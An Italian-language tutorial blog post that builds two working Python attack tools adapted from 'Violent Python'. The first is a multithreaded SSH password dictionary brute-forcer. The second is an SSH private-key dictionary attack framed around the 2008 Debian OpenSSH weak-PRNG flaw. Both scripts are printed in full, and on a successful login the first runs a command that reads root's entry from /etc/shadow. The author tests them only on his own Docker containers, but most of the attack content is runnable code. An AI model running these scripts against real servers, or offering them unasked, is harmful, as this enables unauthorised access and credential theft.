PRNG Dictionary Attack SSH

In questo articolo vedremo come creare uno script Python che permette di eseguire un attacco brute-force a dizionario per cercare di violare una password SSH.

PRNG Dictionary Attack SSH

Come una piccola svista possa dare luogo ad un attacco, a volte, non appare immediatamente chiaro. In particolar modo, se ci si convince di essere protetti da uno strumento potente quale la crittografia, si rischia di commettere qualche errore all'apparenza banale ma che potrebbe avere conseguenze non indifferenti.


È di vitale importanza che nulla venga lasciato al caso e che non si commettano errori di implementazione, più o meno banali. Un esempio delle gravi conseguenze che potrebbero nascere da qualche, apparentemente, insignificante disattenzione possiamo ritrovarlo nel seguente exploit, il quale permette di eseguire un attacco a dizionario su chiavi SSH (OpenSSH Debian). A causa di un errore, dimenticanza, da parte di uno sviluppatore, fu possibile risalire al grado di entropia delle chiavi RSA/DSA e, da quest'ultimo, alcuni ricercatori di Rapid7 generarono, in appena due ore, una lista esaustiva di tutte le chiavi.

Designed by starline on Freepik

Sebbene questo fatto accadde nel "lontano" 2008, uno sviluppatore che ripone attenzione minuziosa ai propri commenti, potrebbe comunque lasciar trapelare qualche informazione sensibile, quale l'entropia dello spazio delle chiavi generate da un algoritmo crittografico. Così facendo, un eventuale attaccante potrebbe essere in grado di seguire un ragionamento analogo al caso appena citato e generare un dizionario delle chiavi interessate.

In questo articolo vedremo come creare uno script Python che permette di eseguire un attacco brute-force a dizionario per cercare di violare una password SSH. Vedremo, in seguito, una variante di tale script in cui ci concentreremo a sfruttare una eventuale predittività del RNG (Random Number Generator) - costruendo una lista fittizia allo scopo di una simulazione - per eseguire un attacco a dizionario su chiavi SSH, ricollegandoci in tal modo all'exploit di cui sopra.

Designed by macrovector on Freepik

Prima di iniziare, è bene specificare che il codice che verrà sotto riportato è una versione da me leggermente modificata, in base al contesto, di due script presenti su questo repository riportati nel libro Violent Python, di cui troverete i riferimenti in calce.

Password Dictionary Attack SSH

Prima di iniziare a scrivere il nostro codice, supponiamo di avere a disposizione una password list (una delle più famose è rock_you). Per semplicità creiamo una lista contenente una manciata di password - ai fini di questo articolo non è necessario un dispendio di risorse utilizzando un dizionario enorme per simulare uno scenario più realistico - che chiameremo passwdList. Come piccolo Easter Egg ho inserito le prime 20 password più utilizzate nel 2018 (elenco completo).

Script

Parliamo adesso dell'aspetto più importante: il codice. Utilizziamo lo script pxssh, presente nella libreria pexpect, che permette di interagire facilmente con SSH grazie a dei metodi predefiniti. Iniziamo a scrivere il nostro codice creando una prima versione della funzione che permetterà la connessione tramite protocollo SSH:

import pxssh

# Connect
def connect(host, user, password)
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print '[-] Error connecting'
        exit(0)

Apportiamo ora delle modifiche per raggiungere il nostro scopo. In questo momento non stiamo eseguendo nessun attacco. Se la funzione login() ha esito positivo senza generare eccezioni, stampiamo un messaggio che indica che la password è stata trovata - si noti che nel caso in cui venga trovata la password, richiamiamo la funzione sendCmd che implementeremo poco più avanti. Inoltre, aggiorniamo una variabile booleana globale che rappresenta tale esito. In caso contrario, invece, gestiamo l'eccezione. Se quest'ultima indica che la password è stata "rifiutata", vorrà dire che il tentativo non è andato a buon fine e torniamo indietro. Nel caso in cui l'eccezione indica che la socket è "read_non-blocking", possiamo supporre che il server SSH sia al massimo numero di connessioni che può ricevere, quindi eseguiamo una sleep() per alcuni secondi, prima di riprovare con la stessa password. Se l'eccezione indica che pxssh sta avendo difficoltà  ad ottenere un prompt dei comandi, eseguiamo una sleep() per dargli il tempo di cui necessita. Per gestire il multi threading, infine, aggiungiamo come argomento della connect() una variabile booleana per fare in modo che possa essere rilasciato il semaforo connection_lock:

from pexpect import pxssh
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
PasswordFound = ''
Fails = 0

# Connect
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print('[+] Password Found: ' + password)
        PasswordFound = password
        Found = True
        print('\n[-] Executing command:')
        # Send the cmd
        sendCmd(s, 'cat /etc/shadow | grep root')
    except Exception as e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'Synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release: connection_lock.release()

Ora che abbiamo la nostra connect(), possiamo passare a definire la funzione che ci permetterà di eseguire i comandi dalla shell una volta connessi:

# Send a shell command
def sendCmd(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print s.before

Il nostro script è quasi completo, in quanto la connect è perfettamente definita. L'ultima porzione di codice che dobbiamo implementare è il main(). Sfruttiamo optparser per gestire il corretto utilizzo dello script e per definire i parametri che quest'ultimo prenderà in input:

import optparse

# Main
def main():
    # Defining usage
    parser = optparse.OptionParser('usage%prog '+ '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile == None or user == None:
        print (parser.usage)
        exit(0)

Fatto ciò, non ci resta che aggiungere un ciclo for che, per ogni riga contenuta nel file delle password, esegue un tentativo di login:

# inside Main ...
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
        if Found:
            print ('[*] Exiting: Password Found')
            s = connect(host, user, PasswordFound)
            exit(0)
        if Fails > 5:
            print ('[!] Exiting: Too Many Socket Timeouts')
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print ('[-] Testing: ' + str(password))
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()

In definitiva, mettendo tutto in un unico file, abbiamo la seguente situazione: eseguiamo un semplice cat di /etc/shadow come comando di prova e, nel caso in cui venga trovata la password corretta, terminiamo lo script come segue:

#!/usr/bin/env python

from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
PasswordFound = ''
Fails = 0

# Connect
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print('[+] Password Found: ' + password)
        PasswordFound = password
        Found = True
        print('\n[-] Executing command:')
        # Send a cmd
        sendCmd(s, 'cat /etc/shadow | grep root')
    except Exception as e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'Synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release: connection_lock.release()
    
# Send a shell command
def sendCmd(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print(s.before)
    
# Main
def main():
    # Defining usage
    parser = optparse.OptionParser('usage%prog '+ '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile == None or user == None:
        print (parser.usage)
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
        if Found:
            print ('[*] Exiting: Password Found')
            s = connect(host, user, PasswordFound)
            exit(0)
        if Fails > 5:
            print ('[!] Exiting: Too Many Socket Timeouts')
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print ('[-] Testing: ' + str(password))
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()

if __name__ == "__main__":
    main()

In conclusione a questa prima parte dell'articolo, testiamo il nostro script su un host di prova. Per semplicità ho creato due copie di un container Docker - al cui interno risiede l'ultima versione (2019.1 64bit) di Kali Linux, scaricabile da qui - che faranno le veci dell'attaccante e della vittima. Mi sono preoccupato quindi di preconfigurare il servizio ssh dell'host vittima e di impostare come password di root la parola "football" (si noti che, poichè la connessione SSH ad utente root è disabilitata per default, è stato necessario impostare PermitRootLogin=True nel file di configurazione /etc/ssh/ssh_config). Quindi, lanciando lo script sull'host attaccante, si ottiene il seguente output:

Esecuzione dello script

Il risultato, come si può facilmente notare, è proprio quello da noi atteso.


PNRG Dictionary Attack SSH

Come sappiamo, oltre all'autenticazione tramite password, SSH permette di effettuare il login anche mediante chiavi crittografiche. In questa seconda parte, vedremo come implementare uno script che permetta di eseguire un attacco a dizionario su chiavi pubbliche RSA/DSA per poter accedere in SSH. È necessario, prima di procedere, sottolineare che uno scenario in cui vengano compromesse informazioni sui generatori delle chiavi si può verificare difficilmente. Tuttavia, ci si può ritrovare in una situazione in cui anche un minimo dato compromesso potrebbe permettere di sfruttare uno script analogo a quello che andremo a implementare.

Creazione del dizionario

É bene richiamare un concetto di cui si era accennato nell'introduzione di questo articolo, ovvero l'entropia. Ricordiamo che l'entropia è una misura della distribuzione di elementi su un dato dominio. In particolare, per quanto concerne la generazione di numeri casuali in crittografia, definiamo una funzione come casuale sicura quando questa è in grado di restituire un numero casuale con probabilità uniforme nel dominio, ovvero con la massima entropia. Dunque, si comprende più facilmente che un'informazione così rilevante debba essere tenuta segreta.

Nel seguente esempio supporremo di avere avuto a disposizione delle informazioni circa l'entropia dello spazio delle chiavi, sulle orme dell'exploit citato all'incipit. Per semplicità creeremo da zero un dizionario composto da 20 chiavi RSA a 2048bit, notando che è sufficiente eseguire il comando

ssh key-gen -t rsa

per generare una coppia di chiavi di questo genere, di cui una è effettivamente quella corretta e le rimanenti saranno create cambiando uno o due caratteri random a partire da quest'ultima.

Script

Il codice che andiamo a scrivere è molto simile allo script per il brute-force delle password. Tenteremo la connessione per ogni chiave presente nel nostro dizionario e, se l'attacco avrà successo, stamperemo la chiave trovata terminando l'esecuzione dello script. Ricordiamo che per autenticarsi tramite SSH utilizzando una chiave crittografica è sufficiente digitare

ssh [user]@[host] –i [keyFile] –o PasswordAuthentication=no

Analogamente al brute-force delle password, iniziamo a scrivere la funzione connect() che andremo a eseguire per tentare di portare a buon fine l'attacco. Utilizziamo due variabili globali: Stop per capire quando abbiamo trovato la chiave e non c'è più bisogno di lanciare altri thread e Fails per contare il numero di tentativi falliti dovuti alla chiusura di connessione da parte dell'host remoto. Definiamo delle stringhe che contengono gli output che ci si aspetta quando si tenta una connessione SSH e, tramite la funzione expect(), controlliamo se la connessione è stata bloccata o meno:

import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

# Connect
def connect(user, host, keyfile, release):
    global Stop
    global Fails
    try:
        # Expected outputs
        perm_denied = 'Permission denied'
        perm_denied_opt = 'Permission denied (publickey,password,keyboard-interactive)'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, perm_denied_opt, ssh_newkey, conn_closed, '#', ])
        if ret == 3:
            print('[-] Adding Host to ∼/.ssh/known_hosts')
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 4:
            print('[-] Connection Closed By Remote Host')
            Fails += 1
        elif ret > 4:
            print('[+] Success. ' + str(keyfile))
            Stop = True
    finally:
        if release:
            connection_lock.release()

A questo punto, la parte più "complessa" è finita e non ci resta che scrivere il main(), molto simile anche quest'ultimo a quello dell'esempio precedente:

# Main
def main():
    parser = optparse.OptionParser('usage%prog -H '+ '<target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user
    if host == None or passDir == None or user == None:
        print(parser.usage)
        exit(0)
    for filename in os.listdir(passDir):
        if Stop:
            print('[*] Exiting: Key Found.')
            exit(0)
        if Fails > 5:
            print('[!] Exiting: Too Many Connections Closed By Remote Host.')
            print('[!] Adjust number of simultaneous threads.')
            exit(0)
        connection_lock.acquire()
        fullpath = os.path.join(passDir, filename)
        print('[-] Testing keyfile ' + str(fullpath))
        t = Thread(target=connect, args=(user, host, fullpath, True))
        child = t.start()

Inserendo le due funzioni che abbiamo appena implementato in un unico script, avremo una situazione del genere:

#!/usr/bin/env python

import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

# Connect
def connect(user, host, keyfile, release):
    global Stop
    global Fails
    try:
        # Expected outputs
        perm_denied = 'Permission denied'
        perm_denied_opt = 'Permission denied (publickey,password,keyboard-interactive)'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, perm_denied_opt, ssh_newkey, conn_closed, '#', ])
        if ret == 3:
            print('[-] Adding Host to ∼/.ssh/known_hosts')
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 4:
            print('[-] Connection Closed By Remote Host')
            Fails += 1
        elif ret > 4:
            print('[+] Success. ' + str(keyfile))
            Stop = True
    finally:
        if release:
            connection_lock.release()
            
# Main
def main():
    parser = optparse.OptionParser('usage%prog -H '+ '<target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user
    if host == None or passDir == None or user == None:
        print(parser.usage)
        exit(0)
    for filename in os.listdir(passDir):
        if Stop:
            print('[*] Exiting: Key Found.')
            exit(0)
        if Fails > 5:
            print('[!] Exiting: Too Many Connections Closed By Remote Host.')
            print('[!] Adjust number of simultaneous threads.')
            exit(0)
        connection_lock.acquire()
        fullpath = os.path.join(passDir, filename)
        print('[-] Testing keyfile ' + str(fullpath))
        t = Thread(target=connect, args=(user, host, fullpath, True))
        child = t.start()

if __name__ == "__main__":
    main()

Finalmente è arrivato il momento di testare il codice sul nostro caro host di prova. Questa volta ho pre-configurato il servizio ssh del container vittima generando una coppia di chiavi RSA. Simulando un'eventuale compromissione dell'entropia del generatore di tali chiavi, inseriamo la controparte privata della vittima all'interno della cartella, che ho nominato keys, contenente le varie chiavi. Lanciamo, quindi, lo script e l'output che otteniamo è il seguente:

Esecuzione dello script

Come riporta l'immagine, è stata trovata la chiave corretta. A fini pratici, sarebbe possibile apportare dei cambiamenti allo script per ottenere una connessione SSH tramite la chiave trovata e sfruttare la funzione sendCmd(), che abbiamo implementato nella prima parte di questo articolo, per poter eseguire dei comandi. In alternativa, sarebbe possibile creare un nuovo semplice script che automatizzi tale processo dando spazio anche alla vostra fantasia.

Conclusione

Il problema della buona randomicità su cui è basata la crittografia, non riguarda solamente la predizione delle chiavi che possono essere generate ai fini di un'autenticazione SSH. È stato trattato questo specifico caso per dare un'idea anche, se vogliamo, più pratica di ciò che in realtà è, a mio parere, un problema da non sottovalutare. Seguendo la medesima logica dietro questo tipo di vulnerabilità è, infatti, possibile scoprire ulteriori exploit che non si limitino a contemplare solamente il protocollo SSH.


Credits

Original scripts: sshBrute from [Violent Python, TJ O'Connor, 2012], bruteKey from [Violent Python, TJ O'Connor, 2012]